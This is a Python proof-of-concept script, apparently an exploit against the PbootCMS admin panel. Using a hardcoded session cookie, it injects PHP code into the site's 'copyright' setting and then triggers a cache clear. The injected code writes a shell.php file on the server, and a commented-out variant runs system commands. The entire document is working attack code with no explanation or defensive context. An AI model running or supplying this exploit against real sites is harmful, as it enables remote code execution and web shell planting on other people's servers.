import requests

TARGET_URL = "http://192.168.1.10:8890"
SESSION_COOKIE = {"lg": "cn", "PbootSystem": "lqpo2ovgb7p35lc1amv2mofe03"}

# PAYLOAD = "<?php echo system('ls');?>"
PAYLOAD = "<?php file_put_contents('shell.php', '<?php echo 'vuln';?>');?>" # write shell.php

COMMON_HEADERS = {
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36",
    "Accept-Encoding": "gzip, deflate, br",
    "Accept-Language": "zh-CN,zh;q=0.9",
    "Connection": "keep-alive"
}

def modify_site_config():
    url = f"{TARGET_URL}/admin.php?p=/Site/mod"
    headers = {
        **COMMON_HEADERS,
        "Cache-Control": "max-age=0",
        "Origin": TARGET_URL,
        "Content-Type": "application/x-www-form-urlencoded",
        "Upgrade-Insecure-Requests": "1",
        "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7",
        "Referer": f"{TARGET_URL}/admin.php?p=/Site/index"
    }
    data = {"formcheck": "43954462b5dfc65034100f4e06a5993c","title": "PbootCMS","subtitle": "","domain": "","logo": "","upload": "","keywords": "","description": "","icp": "","theme": "default","statistical": "","copyright": PAYLOAD}
    requests.post(url, headers=headers, cookies=SESSION_COOKIE, data=data)

def clear_cache():
    url = f"{TARGET_URL}/admin.php?p=/Index/clearCache"
    headers = {
        **COMMON_HEADERS,
        "Accept": "application/json, text/javascript, */*; q=0.01",
        "X-Requested-With": "XMLHttpRequest",
        "Referer": f"{TARGET_URL}/admin.php?p=/DeleCache/index"
    }
    requests.get(url, headers=headers, cookies=SESSION_COOKIE)

if __name__ == "__main__":
    modify_site_config()
    clear_cache()